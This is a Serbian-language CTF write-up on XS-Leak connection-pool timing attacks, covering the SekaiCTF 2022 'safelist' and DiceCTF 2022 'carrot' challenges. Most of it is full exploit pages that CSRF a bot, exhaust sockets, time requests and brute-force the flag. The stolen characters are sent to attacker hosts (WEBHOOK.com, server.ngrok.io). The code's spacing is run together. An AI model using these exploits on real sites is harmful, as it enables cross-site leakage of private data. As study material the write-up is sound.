U izazovu Sekaictf2022 - safelist, @Strellic_ daje primer kako koristiti varijaciju tehnike Connection Pool da bi se izvršio XS-Leak.
U ovom izazovu, cilj je izfiltrirati zastavicu koja će se pojaviti u veb sesiji robota unutar posta. Napadač ima sledeće resurse:
Bot će posetiti URL koji je napadač dao
Napadač može ubaciti HTML na stranicu (ali ne JS, koristi se dompurify) zloupotrebom CSRF da bi bot kreirao post sa tim HTML-om.
Napadač može zloupotrebiti CSRF da bi bot obrisao prvi post na vebu.
Zato što su postovi poređani abecedno, kada se obriše prvi post, ako je HTML sadržaj napadača učitan, to znači da je abecedno pre zastavice.
Dakle, da bi ukrao zastavicu, rešenje koje je predložio @Strellyc_ je da, za svaki karakter koji se testira, bot:
Kreira novi post koji počinje sa poznatim delom zastavice i nekoliko imgučitavanja.
Obriše post na poziciji 0.
Blokira 255 soketa.
Učita stranicu sa postovima.
Izvrši 5 nasumičnih zahteva ka sajtu (npr. example.com) i izmeri vreme koje je potrebno za to.
Ako je obrisani post bio zastavica, to znači da će se sve slike koje su ubacene u HTML boriti sa 5 nasumičnih zahteva za taj odblokirani soket. Što znači da će izmereno vreme biti veće od drugog scenarija.
Ako je obrisani post bio HTML, 5 nasumičnih zahteva će biti brži jer im nije potrebno da se bore za taj soket sa ubacenim HTML-om.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
U ovom slučaju prvi korak napada je iskorišćavanje CSRF-a kako bi se izmenila stranica na kojoj se nalazi zastava tako da ima mnogo više sadržaja (i stoga je potrebno više vremena za učitavanje), a zatim iskorišćavanje bazena veza kako bi se izmerilo vreme pristupa stranici koja potencijalno može sadržati zastavu.
U napadu možete videti:
Iskorišćavanje CSRF-a
Zauzimanje svih priključaka osim jednog
Kalibracija odgovora
Početak brute force napada pristupanjem potencijalnoj stranici sa zastavom
Potencijalna stranica će biti pristupljena, a odmah zatim će biti pristupljena i URL adresa koju kontroliše napadač kako bi se proverilo koliko vremena oba zahteva traju.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {// slowlet url1 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`let t1 =awaittimeit(url1,WINBG)console.log(`slow:${t1}`)// fastlet url2 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`let t2 =awaittimeit(url2,WINBG)console.log(`fast:${t2}`)returnr((t1 + t2) /2)});}constexploit=async(flag ='') => {console.log('Starting')// dont go to fast plz :)console.log(`waiting 3s`)awaitsleep(3000)// exaust socketsawaitexhaust_sockets()awaitsleep(2000)LOG=`Calibrating`TIMELIMIT=awaitcalibrate()LOG=`TIMELIMIT:${TIMELIMIT}`console.log(`timelimit:${TIMELIMIT}`)awaitsleep(2000)let last;while (true) {last =awaitbrute(flag);if (last ===false) {return flag;}else {flag += last;output.innerText = flag;if(last ==='}'){return flag}}}}constpopunder= () => {if (window.opener) {WINBG=window.opener}else {WINBG=window.open(location.href, target="_blank")location =`about:blank`}}constcsrf=async () => {x.action =`https://carrot-${INSTANCE}.mc.ax/edit/0`x.title.value ="A".repeat(1000000)x.submit()}window.onload= () => {let p =newURL(location).searchParams;if(!p.has('i')){console.log(`no INSTANCE`)return}INSTANCE=p.get('i')// step 1if(p.has('csrf')){csrf()return}// step 2if (p.has('exploit')) {// window open is ok in headless :)popunder()exploit('dice{')}}</script>